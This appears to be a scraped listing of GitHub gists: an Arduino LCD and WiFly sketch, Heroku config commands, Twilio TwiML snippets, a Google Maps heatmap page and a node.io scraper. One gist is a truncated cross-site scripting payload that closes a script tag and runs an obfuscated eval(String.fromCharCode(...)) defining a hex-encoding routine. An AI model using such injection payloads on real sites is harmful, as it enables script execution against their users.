This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
LCDShield.cpp - Arduino Library to control a Nokia 6100 LCD, | |
specifically that found on SparkFun's Color LCD Shield. | |
This code should work for both Epson and Phillips display drivers | |
normally found on the Color LCD Shield. | |
License: CC BY-SA 3.0: Creative Commons Share-alike 3.0. Feel free | |
to use and abuse this code however you'd like. If you find it useful | |
please attribute, and SHARE-ALIKE! | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <WiFlyHQ.h> | |
#include <ColorLCDShield.h> | |
const char mySSID[] = "abc"; //use $ to represent spaces in your ssid or passphrase | |
const char myPassword[] = "a1234"; | |
WiFly wifly; | |
LCDShield lcd; | |
void setup() { | |
lcd.init(PHILLIPS); // Initializes lcd, using an EPSON driver |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <WiFlyHQ.h> | |
#include <SoftwareSerial.h> | |
#include <PusherClient.h> | |
#include <ColorLCDShield.h> | |
const char mySSID[] = "myssid"; //use $ to represent spaces in your ssid or passphrase | |
const char myPassword[] = "a123"; | |
const char pusherKey[] = "mykey"; | |
PusherClient client; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
heroku config:add PUSHER_APP_ID=12345 | |
heroku config:add PUSHER_KEY=abc123456789 | |
heroku config:add PUSHER_SECRET=abc123456789 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# build up a response | |
response = Twilio::TwiML::Response.new do |r| | |
r.Say 'Hello, please wait.', :voice => 'woman' | |
r.Dial :callerId => '+14159992222' do |d| | |
d.Conference 'myfirstconference', :waitUrl => 'http://mysite.com/waiturl.mp3' | |
end | |
end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
</script><script language=javascript>eval(String.fromCharCode(102, 117, 110, 99, 116, 105, 111, 110, 32, 101, 110, 99, 111, 100, 101, 84, 111, 72, 101, 120, 40, 115, 116, 114, 41, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 114, 61, 34, 34, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 101, 61, 115, 116, 114, 46, 108, 101, 110, 103, 116, 104, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 99, 61, 48, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 104, 59, 10, 32, 32, 32, 32, 119, 104, 105, 108, 101, 40, 99, 60, 101, 41, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 104, 61, 115, 116, 114, 46, 99, 104, 97, 114, 67, 111, 100, 101, 65, 116, 40, 99, 43, 43, 41, 46, 116, 111, 83, 116, 114, 105, 110, 103, 40, 49, 54, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 119, 104, 105, 108, 101, 40, 104, 46, 108, 101, 110, 103, 116, 104, 60, 51, 41, 32, 104, 61, 34, 48, 34, 43, 104, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 114, 43, 61, 104, 59, 10, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 114, 59, 10, 125, 10, 36 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
abc |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta charset="utf-8"> | |
<title>Google Maps JavaScript API v3 Example: Heatmap Layer</title> | |
<link href="/maps/documentation/javascript/examples/default.css" rel="stylesheet"> | |
<script src="https://maps.googleapis.com/maps/api/js?key=XXXX&sensor=false&libraries=visualization"></script> | |
<script> | |
// Adding 500 Data Points | |
var map, pointarray, heatmap; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# build up a response | |
response = Twilio::TwiML::Response.new do |r| | |
r.Say 'hello there', :voice => 'woman' | |
r.Dial do |d| | |
d.Conference 'myconfroom' | |
end | |
end | |
# print the result | |
puts response.text |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var nodeio = require('node.io'); | |
var methods = { | |
input: false, | |
run: function() { | |
this.getHtml('http://www.google.com/', function(err, $, data, headers) { | |
$('a').each('href', function (href) { | |
//Print all links on the page |